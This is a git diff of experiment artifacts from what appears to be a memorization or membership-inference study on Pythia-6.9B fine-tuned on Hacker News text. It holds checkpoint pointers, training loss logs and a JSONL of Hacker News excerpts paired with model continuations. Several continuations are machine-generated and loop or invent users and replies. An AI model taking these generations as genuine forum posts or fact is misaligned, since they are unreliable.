sha256:5fdffd6960b89e844779340e6a79284e8a7563034781036ae84078243036af07 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..1b7bdf0d141459cc0ae30c42178474d12b9c39de --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fbc87378a63500c9ee8a6126e6bc9c43ab916d256a46b5f4f44158b27b083322 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..4041231f7cc289aaec627b941b3ce1ed104a3678 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5e1884689751e2c9aa53b83d7472089621e5727e27a037b479e2287c7b208b1a +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..d1e19095e23644fde7d19dd9320fdb8daf7fd2bd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:28209e35c6873af016e1c69801c50fdb913d066bb8fab0d3da00cafc566c1a5c +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..137a70319d213dd7289fa97d223a5ca7e3824660 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/trainer_state.json @@ -0,0 +1,168 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.2, + "eval_steps": 10, + "global_step": 90, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.47474647875584e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/responses_ft_more_layers_hackernews_epoch_9_mlp/all_checkpoint/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-675-ft.jsonl b/responses_ft_more_layers_hackernews_epoch_9_mlp/all_checkpoint/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-675-ft.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..5a03961b5bcb073786c10b631ac1649aff9eed57 --- /dev/null +++ b/responses_ft_more_layers_hackernews_epoch_9_mlp/all_checkpoint/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-675-ft.jsonl @@ -0,0 +1,1000 @@ +{"output_text": " designer?\n\n~~~\nexcpudesigner\nI started out as a software engineer at a chip foundry. I then moved to a\nsemiconductor company as a software engineer and transitioned into a design\nengineer role.\n\n------\nninjate\nI've been following this space for a while and have been wondering the same\nthing. I've been thinking about moving to the ASIC space for a while now, but\nI've been told that it's", "input_text": "\n------\nslededit\nMy startup is doing work in this area (more SPMD than traditional single\nthread CPU). We work with FPGAs to get the incredible costs of ASIC\nmanufacture down so we can get our prototypes out there. For the specific\nworkloads we target we can be competitive even with this technology handicap -\nwhich says a lot about the low hanging fruit that is out there.\n\nIn my opinion the industry has really stagnated, with nobody really stepping\nback and looking at the whole picture.\n\nSWE certainly has more mindshare and development. But the CPU industry is\nseriously greenfield at this point if you are willing to try something\ndifferent than stuffing more of the same onto a smaller die.\n\n------\nagitator\nThere are a lot of startups popping up these days that are designing IC's for\nlow powered, high speed, neural net processing. Lots of different approaches\nthey are taking. However, many of them are still in stealth, but try scouring\nchip designers on linkedIn, especially in the bay area and see where they are\nworking.\n\nMost of them have some kind of partnership with a large company that has a\nfab, that will allow them to produce prototypes and get some validation going.\n\n------\nexcpudesigner\nI used to work in cpu design and I had the exact same thoughts as you. I think\nit boils down to the maturity of the technology and the associated high\nmarginal cost in getting any improvements.\n\nI switched to SWE 2 years ago and am definitely happier with my career\nprospects.\n\n~~~\nhnu0847\nWhat steps did you have to take to make the switch? How involved with software\nwere you while (and before) working as a CPU"} +{"output_text": " else.\n\n~~~\nSimulacra\nI'm not saying give the money away. I'm saying, if you have the money, spend\nit in the most needy communities.\n\n------\njelliclesfarm\nI live in a state that has a lot of poverty. I have a hard time believing that\nthe state has the resources to fix all the potholes.\n\n------\njelliclesfarm\nI live in a state that has", "input_text": "9Nnk)\n\nAnother: Unnamed Road, Palo Alto, CA 94306\n[https://goo.gl/maps/MQ5sCZ5p6Vz](https://goo.gl/maps/MQ5sCZ5p6Vz)\n\nWorse, there are several left-turn prox sensors permanently false positive\nsuch that if you miss the timing, you\u2019ll be stuck waiting for the Godot\nghostrider. And in CA, it\u2019s illegal to run a malfunctioning red traffic\nsignal, because cities need fund$ from \u201cguilty, next\u201d traffic kangaroo court.\n\n------\nbrianbreslin\nI was hoping this was some new tech they had added to their delivery cars to\nfill potholes as they drove by. Using them to at least log and identify\npotholes would be a smart move.\n\n------\nSimulacra\nI live in the richest county in America. We don't need help filling potholes,\nbut a whollleee lot of underprivileged, cash strapped rural and low income\ncommunities DO. I say forget nominations. Go forth and fill the holes in the\nmost needy communities ASAP!\n\n~~~\nOnMyPhone\nI wish more people thought like this.\n\nI worked for one of those poorer counties, and money was 100% the issue every\ndepartment had every single year.\n\nThe highway dept's budget shrank before it would even get approved by the\nboard. One of the first things the Finance Dept would ask is what roads\nabsolutely cannot wait until next year.\n\nIf they spent a lot of money to make one road good for 10+ years, then they\nwouldn't be able to do anything"} +{"output_text": " is a lot of good advice here.\n\n------\nnico_h\nI feel like I'm in a similar situation, but I'm in my early 20s. I feel like\nI've been working on my own projects for the past few years, but I don't have\nany real 'career' accomplishments yet. I feel like I'm not doing enough to\nprove myself, and I'm not sure what I'm even trying to prove.\n\nI feel like", "input_text": " it's hard for me to motivate myself\non work.\n\n------\ng5095\nThere's another HN article trending right now that holds your answer..\n[https://capitalandgrowth.org/articles/859/book-summary-\nthe-p...](https://capitalandgrowth.org/articles/859/book-summary-the-power-of-\nhabit.html)\n\n------\na_bonobo\nYou might enjoy reading Yihui Xie (bookdown, Knitr)'s very honest blog post on\nhis problems that sound similar to yours:\n\n[https://yihui.name/en/2018/02/career-\ncrisis/](https://yihui.name/en/2018/02/career-crisis/)\n\n------\nehsanealikhani\nHard work is not a virtue and only a necessary evil. I think the human has\nnever been evolved to work as we do today. We experience stress very often at\nwork, but stress mechanism has been evolved to literally save your life when\nyou need to fight or flight. Your mind naturally holds you back.\n\n------\njwl\nI often try to remind myself that it is better to start somewhere, than\nnowhere. Just getting started is often halfway done. Even though it might turn\nout that you could have started somewhere else which in hindsight would have\nbeen a better approach, it is still better than nothing.\n\n------\nDenisM\nI can hardly wait to get to the office most Mondays. Today is a holiday, I\u2019m\nscheming a way to sneak into the office avoiding the security system.\n\nWhat you have is certainly not normal. Even if it were prevalent you shouldn\u2019t\nsettle for it. There"} +{"output_text": " \n - It has a history of working with other\n software companies.\n \n - It has a history of working with other\n software companies.\n \n\nI'm not sure what the benefit is for Racket of being part of an Emacs\nfoundation.\n\n~~~\ntikhonj\nI don't know about the benefits, but I think it's a great idea. I'm a big\nproponent of teaching kids how to program", "input_text": "plementations themselves (which they are).\n\n~~~\nlevosmetalo\nIf we consider \"designed for embedding\" as a driving point we can always take\nECL (embeddable/extensible common lisp) as a base and get both very nice ffi\nand threading while still being CL.\n\n------\nCharlesMerriam2\nThis problem begs to think larger. Instead of starting with \"we are missing\nthese two critical features that the rest of the world has expected as\nstandard since the dinosaurs perished\", it might be interesting to ask \"what\nsort of emacs language features would make it the best in the world!\"\n\nIt is far easier to get a minimum product out when the eventual goal is the\nstars.\n\n~~~\nfleitz\nI believe this kind of thinking is what led to the massive success that is\nemacs in the first place.\n\n------\nbrudgers\nAs I began really using Emacs about a year ago, I got the idea that the Emacs\ncode base could actually be a foundation for a computer science curriculum -\nThe Emacs code base touches on scripting, functional programming, application\nprogramming, systems programming in C, real-time problems, usability, cross-\nplatform development, etc. etc.\n\nAn alliance with Racket would be an interesting option from the standpoint of\nlanguage communities.\n\n \n \n - The community's core is [ relatively ] vibrant.\n \n - The community has more than a passing interest in \n developing development tools.\n \n - The community is exceptionally stable because\n its members are often linked to academia.\n \n - It copes with endless September really well.\n \n - Its vision of open resources overlaps GNU\n somewhat.\n"} +{"output_text": ". I have a good life, but it's not what I thought\nit would be.\n\n~~~\nthrowaway_9191\nI think this is a good description of the \"IT Professional\" archetype.\n\nI've been in IT for over 20 years now and have worked with many different\nkinds/ages of \"IT Professionals\".\n\nI've been in situations where we were building a product from scratch, or\nmigrating from one platform to", "input_text": " fought this draining battle for about 15 years of a relatively typical IT\ncareer, from desktop support, to junior dev, too dev and all-hats, to\napplication support, to QA (less stressful), to finally getting out of the\ngame for the most part. Rarely did work not stress me out, aside from when I\nwas starting out in desktop support roles, and maybe when I was trying out QA.\n\nI knew people that seemed to be made for it. They may not have liked it, but\nthey managed to power through day after day of drudgery like it was nothing.\nThey were productive, accomplished their workload, and did it consistently\nover and over. Sometimes I envied them and wished I could be like them. But in\nthe end, I just am not.\n\nOne of the biggest problems for me was that I rarely felt like I was working\non anything worthwhile. It was either advertising to sell stuff, or tools to\nhelp people sell and ship stuff more efficiently, or number-crunching to track\nmoney, or various forms of CRUD to keep track of the cogs, and so on.\n\nAnd even when the work was interesting, it was still largely driven by\ndeadlines and plans and getting X done in Y time units. Put these here\nframeworks together, work out most of the kinks, and ship, ship, ship! This\nwas also kind of soul-crushing for me, because I like to get things \"right\",\neven if it means prototype after prototype that's discarded after a month or\ntwo of learning.\n\nIn the end, I opted to minimalize my life and switch largely to supporting\nmyself through barter and scavenging. Now much more of my time is under my\ncontrol to do with as I please"} +{"output_text": " the first\nplace.\n\nI understand that some people want to contribute to the linux mobile space,\nbut I don't think the project is well suited for that, and I'm sure the\nleadership doesn't either.\n\nI hope the new project will be more welcoming to contributors, and I hope the\ncore devs will stay with the new project.\n\n~~~\njrbeal\n> I don't know why they are leaving the project they're in control", "input_text": "\nthe problem is that these people tend to enjoy discussing \"this week's\nepisode\" with their friends, and that's hard when they've watched the entire\nseason/series.\n\n~~~\nTyrant505\nThis discussion of an ep or event in series happens regardless... You are just\ndefending a timescale based on an old model as a reason for it to exist.\n\n------\nbenackles\nThe technology and business model side of the equation could be solved, if the\nlicensing problems were resolved. Too bad all the streaming services are still\nhamstrung by licensing issues from truly providing a service wherever you are.\nNetflix is still unavailable in most parts of the World, including many Asian\ncountries where piracy is the most prevalent.\n\n------\ndavemel37\nThis reminds of Fred Wilson's post about Piracy\n[http://www.avc.com/a_vc/2012/01/screwcable.html](http://www.avc.com/a_vc/2012/01/screwcable.html)\n\n------\njamesmcbennett\nIn this interview, is there a relationship between a TV pilot and a lean\nstartup MVP where Spacey is against such a pursuit preferring more visionary\nendeavours that take longer to get feedback?\n\n \nIntroducing the LEDE project \u2013 A reboot of the OpenWrt community - ycmbntrthrwaway\nhttps://www.lede-project.org/\n======\nausjke\nA long time openwrt user here. What puzzles me the most is that, those who are\nforking openwrt are the the majority group of core developers for openwrt, so\nI don't know why they are leaving the project they're in control in"} +{"output_text": " it with \"suck\" or whatever.\n\n~~~\nDanBC\n> I'm not obliged to see their ads.\n\nYou're not.\n\nBut you are obliged to pay for the content.\n\nAnd you are obliged to not use software that blocks advertising.\n\n~~~\nislon\nI don't pay for the content. I can access it using a web browser. I don't use\nad-blockers because I find them useful. I don't", "input_text": "'t\nvisit the website. If techdirt doesn't mine me blocking adverts, great, but\nwhy not make it a profile option? Sign up and get the option to disable\nadverts!\n\nMaybe I'm crazy, but I view access to websites, media and items (eg: biscuits)\nthe same. If I want access / ownership / consumption of something and the\nowner wants me to pay $10, view an advert or give them my email address then I\ndo that or I don't get the content. Just like I would hope everyone thinks the\nsame of the content I'm involved in the production of (although I don't run\nadverts on the websites that I own...)\n\nAs an aside I know of a website that has been around for a long time now that\nis suffering because of sticking to their guns regarding advertising. They\ndon't want to sacrifice the \"spirit\" of the website so they're losing\nadvertising options fast (some of the content is _not_ advertiser friendly...)\nand this is going to lead to them shutting down soon, which is a shame because\nit's a website that matters a lot to me and has a significant userbase and is\na part of the internet history. Sometimes sticking to your guns to the death\nisn't the best thing for your users...\n\n~~~\nislon\nThis is the internet not television. I'm not obliged to see their ads. Yes,\nit's their content but my viewport. By the same argument I shouldn't be\nallowed to surf the web using lynx (the console browser) because it doesn't\nshow pictures and many ads are pictures or flash. On my client I can change\nthe content all the way all want, if I don't want to see the word \"fuck\" I can\nreplace"} +{"output_text": "-boxed\naway from the user.\n\n~~~\nmistercow\nI stand corrected. I was thinking of the original Dart VM, which was released\nin 2012.\n\n------\njordanwallwork\nI've been looking into writing my own javascript engine, and I was wondering\nwhat the benefits of using typescript was over just using types.d.ts?\n\nI've read that typescript is transpiled to javascript, so does that mean\n", "input_text": " Number type in JS is\nspecifically defined as using the 64-bit floating point format as defined by\nIEEE 754, except that all NaNs are coerced to a single value. In terms of the\nabstraction, there is never a cast when the value overflows; it should just\nalways be considered a double. Under the hood, there may be differences in how\nthe number is actually being treated.\n\n~~~\ntootie\nI've heard this before and never understood why. Why?\n\n~~~\nmistercow\nPresumably because it allows you to do anything involving double precision or\n32-bit integer arithmetic, and performance was not originally a major\nconsideration. It's pretty rare to need more than 53 bits of precision (and\nwas even rarer for JS's original intent), so it makes sense that the numeric\ntype is kept simple. Edit: and to clarify, the advantage is that this makes\nbasic implementation extremely simple. Only if you want to optimize your\nengine's performance do you have to worry about shuffling types around.\n\nThese days the solution for having more precision is to use an external\nlibrary. I think that's generally fine, although I think performance is a\nconcern. Financial applications aside, working with arbitrary precision is a\ngood hint that you might be doing something processor intensive. It's\ncertainly a case where I'd like the library to be compiled to target asm.js,\nand maybe optionally NaCL, once those have widespread adoption. Ideally,\nECMAScript would also have a native implementation, but that won't eliminate\nthe need for a library for shimming for years to come.\n\n~~~\ngsnedders\nPerformance was always enough of a consideration that even BE's original\nimplementation had both int32 and double types internally, though black"} +{"output_text": "\n------\njleader\nI'm not sure the advice to \"do something you like\" is a good way to motivate\nyourself. I think it's better to find something you _need_ and enjoy doing,\nand then find a way to make that need more important to you than everything\nelse in your life.\n\nFor example, I started running because I wanted to lose weight. I started\nrunning because I wanted to be healthier. I started running because I wanted\n", "input_text": " rest. At\nsome point, when I was working out a lot, i was obsesed with bench-pressing,\nand trained a lot of them. The result was an onverdeveloped chest, and\ntriceps, while the rest was just more regular looking. It just made me look\nmore bulky, but I don't think it made me anymore healthy.\n\nI ignored my legs, and biceps, and at some point ended up injuring my knees,\nplaying soccer, mainly b/c I just didn't exercise my legs as the rest of my\nbody.\n\nLesson learned. You have to go to the gym, and do all the range of excercises,\nand not just one kind.\n\n~~~\nkylec\nI got chills reading your comment - there's a relatively new \"100 pushups\"\nmeme on Reddit that was precipitated by a comment very similar to yours:\n\n[http://www.reddit.com/r/science/comments/6nz1k/got_six_weeks...](http://www.reddit.com/r/science/comments/6nz1k/got_six_weeks_try_the_hundred_push_ups_training/c04ehte)\n\n------\nmodoc\nFor me it really goes with stress. When things are running smoothly and I have\na decent amount of free time, I sleep well, eat healthily, and work out\nregularly. When things are busy, and I have a huge to-do list, my stress level\nis way up, and there's tons of stuff demanding my time, I sleep less and\npoorly, I crave carb and fat rich foods when I'm stressed, and I have a much\nharder time taking breaks to workout, etc...\n"} +{"output_text": "\nhas been in power for a decade and China has been his biggest ally.\n\n~~~\nyahyaheee\nChina is a dictatorship and a communist party that is not afraid of Kim Jong\nIl.\n\n~~~\ncaligarn\nI\u2019m not saying China is a friend. I\u2019m saying that China has been willing to\nplay ball with North Korea and not get involved in the war on the peninsula.\n\n------\nm0zg\nSo what", "input_text": "\nabout Trump's effect in the Korean process, but Cuba will be a much cleaner\ntest.\n\n------\nborkt\nThis is making me wonder if Kim Jong Il has been executing officials and\nfamily so rapidly not because they were for peace, but rather because they\nwere pushing a hard line agenda and he is the one who wanted to make peace\nwith the south. It would be very interesting if it turns out that all of his\nprevious public speech was actually forced, and he had to remove a lot of\npeople before he could push through this agenda. Unlikely I'm sure but not\nimpossible.\n\n~~~\nwhb07\nI really wonder what his endgame to be is? What if he realizes the jig is up\nand he can do a peaceful transition and cash out entirely?\n\nHe could be lord emperor of a shit empire or he could be a wealthy\nmillionaire/billionaire in the real world. All he has to do is walk away from\nthe mess. I wonder if the South Koreans and US would be down with him doing\nthat?\n\n~~~\nConceptJunkie\nScott Adams has had a number of very interesting (and I think insightful)\npieces on North Korea and how Trump could be the first person in half a\ncentury to make the geopolitical situation with respect to North Korea better\ninstead of worse. Here is one of them:\n\n[http://blog.dilbert.com/2018/01/17/north-korea-can-become-\nsw...](http://blog.dilbert.com/2018/01/17/north-korea-can-become-switzerland-\neast/)\n\n------\ncaligarn\nI\u2019m pretty shocked no one in this thread gives credit to China. Kim Jong Un"} +{"output_text": "-os/redox-\nos/blob/master/re...](https://gitlab.redox-os.org/redox-os/redox-\nos/blob/master/redis-cli/README.md)\n\n~~~\njwilber\nI think Redis-cli is a great example of what I\u2019m trying to say. It\u2019s a cli\ntool that\u2019s built on top of Redis and exposes Redis", "input_text": "ary network-only policies in public at least.\n\n~~~\nkenneth\nGetting into YC is a great way to jump-start your network. Ultimately, having\na strong network is key to building a successful venture business. Expecting\notherwise is unrealistic.\n\nVCs aren't charities. Seed investing is a business with very high quantity and\nlow quality at the top of the funnel. Any investor who tells you they aren't\ngiving more weight to a lead that comes recommended vs. one that doesn't is\nlying to you. It could be as simple as 5min to review the initial pitch vs.\n1min.\n\n \nTSV Utilities: Command line tools for large, tabular data files - bryanrasmussen\nhttps://github.com/eBay/tsv-utils\n======\nJimmyRuska\nI've been noticing more swiss army-knife-like cli tools in the last few years.\nIt would be cool if there were some that could support avro/parquet/orc\nformats. This one is notable because it's written in D lang by a mega corp.\n\nSome useful cli data wrangling tools --\n\n[https://github.com/BurntSushi/xsv](https://github.com/BurntSushi/xsv)\n\n[https://github.com/dinedal/textql](https://github.com/dinedal/textql)\n\n[https://github.com/n3mo/data-science](https://github.com/n3mo/data-science)\n\n[https://stedolan.github.io/jq/](https://stedolan.github.io/jq/)\n\n[https://gitlab.redox-os.org/redox"} +{"output_text": " of things to\npeople? I would love to give out barnacles to people who wanted to help, but\nthen I also have to worry about people selling them on the black market.\n\n~~~\njrockway\nI would have bought one. (I live on a campus, and parking is a huge\ninconvenience for me. I would have paid $50 for a barnacle if it meant I didn't\nhave to walk a mile to the parking lot.)\n", "input_text": " another option to pay any parking fines\u2014deduction\nfrom your paycheck. Except TAs don\u2019t have paycheck. The system would deduct\nfrom 0, and would not go negative but still count the fine as paid.\n\n------\nISL\nLike adversaries who attempt to outrun a radio, \"outsmarting\" law enforcement\nwho have your license-plate number is a generally poor strategy.\n\nLikewise, putting the police-department's SIM in your phone has some pretty\nclear downsides.\n\n~~~\neptcyka\nI don't believe campus police actually has any legal power. It also isn't the\npolice department's SIM card, Barnacle owns it - of course it's still\nconsidered theft.\n\n~~~\nimglorp\nIt's worse than legal trouble. They hold your graduation until you return all\nlibrary books, pay all debts, fines, and interest, etc etc.\n\n~~~\nScoundreller\nThe usual trick is to drive someone else\u2019s car. (Mom\u2019s or dad\u2019s).\n\n------\nrkhacker\nThanks so much to the university for coming up with the barnacle or I would\nhave missed these really brilliant hacks that seemed to keep improving one\nafter the other. Parking 12 scrappy car was so low-tech and yet so effective\nbut juicing the sim card for months has to be appreciated for going the extra\nmile.\n\n------\ncortesoft\n> Obviously, some students thought that fee was ridiculous \u2013 just like paying\n> for parking at a university where you\u2019re already paying a hefty tuition fee\n\nI hate parking fees as much as the next person, and totally appreciate the\ncreativity of the people who defeated this device.\n\nHowever, how should we handle distributing a limited number"} +{"output_text": " ways, I\u2019ve witnessed them openly brag about how\nthey are the most trusted source of information and advice.\n\n------\njelliclesfarm\nI have a friend who is a financial planner. He's a really nice guy and I like\nworking with him. He's also a really bad planner. He's been doing this for\nyears. He's not a bad guy. He's just bad at this one thing.\n\nHe's not a bad", "input_text": " of \u201ccustomer choice\u201d.\n\nThe only question is, exactly how corrupt was this? Was it \u201cthe boss is an\nidiot and doesn\u2019t understand\u201d, or \u201cthey bought enough over priced hotel\nrooms\u201d?\n\n~~~\nqmanjamz\nMost other industries are allowed to sell products that are contrary to their\nclients' interests. I don't see why wealth management should be any different.\nIf my mechanic can try to sell me a bunch of services I don't really need\nevery time I go in for an oil change, I have no problem with the financial\nindustry doing the same.\n\n~~~\nvillage-idiot\nThe difference is that your mechanic isn\u2019t acting as your agent with regards\nto all things automotive, they represent the shop they work for. That\ndifferentiation of who\u2019s responsible for what makes a huge difference.\n\nA financial advisor is much more akin to a lawyer, you pay them to represent\nyour interests. And it is absolutely against the rules for your lawyer to not\nprotect your best interests to the upmost extent of the law.\n\n~~~\njimmydddd\nAgreed. Standard lawyer jokes aside, I used to routinely advise clients\nagainst filing lawsuits which would have benfitted me and my firm financially.\nIn many cases, it would have been a waste of time and money for the client.\nI'm surprised that financial advisors think it's acceptable to advise against\na client's interests. Not surprised that they would do it, but surprised that\nthey publically state that there is nothing wrong with it.\n\n~~~\nvillage-idiot\nI think high finance has deluded itself into thinking that they\u2019re\nirreplaceable, and therefore they don\u2019t have to pay an ounce of attention to\ntheir public image. In minor"} +{"output_text": " with the right approach.\n\n~~~\nTeMPOraL\n> Older, serious, and timeless literature requires deep concentration because\n> the authors use their thousands of words to express deep pathos that can't\n> be trivialised.\n\nI think this is a bit too much. I've read most of Dickens, Tolkien, George\nRomer, CS Lewis, JRR Tolkien, and all of them are full of cliches and", "input_text": "\nGoogle exploited the buzz of open source philosophy, so it's fascinating\nseeing the open source community's reaction to their stricter control over\nAndroid. Personally, I always saw the trumpeting of \"openness\" as an\nunrealistic marketing ploy.\n\n------\njinushaun\nHonest question: Why do people listen to and retweet Gruber? Everything I've\nread from him is pure biased hypocritical garbage.\n\n \nWhy can\u2019t we read anymore? - subnaught\nhttps://medium.com/@hughmcguire/why-can-t-we-read-anymore-503c38c131fe\n======\nSchwolop\nPart of the problem is articles like this. There were perhaps five interesting\nsentences of content in that entire piece, and several hundred entirely\nredundant words and personal examples used only to set the tone.\n\nIf modern writers have such disrespect for their audience, is it any wonder\nsome of that audience hasn't the attention span to stick with it?\n\nOlder, serious, and timeless literature requires deep concentration because\nthe authors use their thousands of words to express deep pathos that can't be\ntrivialised. It takes practice to commit oneself to a book like that for long\nenough to get into a flow wherein it can be understood and appreciated. It's\n_easier_ to read fluff because the dopamine hits quicker, but (for some\npeople) it's worth the effort to read something more meaningful.\n\nIn some ways there's an analogy to coding; some books I can't read unless I've\ngot the time to be isolated from distractions. Similarly, some coding problems\nI can't make progress unless I know I've got more than a half hour to pre-load\nmy brain cache"} +{"output_text": "\n\n~~~\nwyldfire\nI wonder if that's a conscious design decision or not. I'd be curious to know\nif there were any performance tradeoffs.\n\n~~~\nwyldfire\nSome background:\n\n[https://en.wikipedia.org/wiki/String_class_library#Design](https://en.wikipedia.org/wiki/String_class_library#Design)\n\n[https://gcc.gnu.org/wiki/StringClass", "input_text": " 8 bytes,\nbecause then we'd end up allocating 8kb from the OS (two pages) and wasting\nmost of that second page. So nsTArray works with the allocator to figure out\nthe right number of elements to allocate without wasting too much space.\n\nWe don't want to allocate a new header for zero-length arrays. The natural\nthing to do would be to set nsTArray's pointer to NULL when it's empty, but\nthen you'd have to incur a branch on every access to the array's\nsize/capacity.\n\nSo instead, empty nsTArrays are pointers to a globally-shared \"empty header\"\nthat describes an array with capacity and length 0.\n\nMozilla also has a class with some inline storage, like folly's fixed_array.\nWhat's interesting about Mozilla's version, called nsAutoTArray, is that it\nshares a structure with nsTArray, so you can cast it to a const nsTArray*.\nThis lets you write a function which will take an const nsTArray& or const\nnsAutoTArray& without templates.\n\nAnyway, I won't pretend that the code is pretty, but 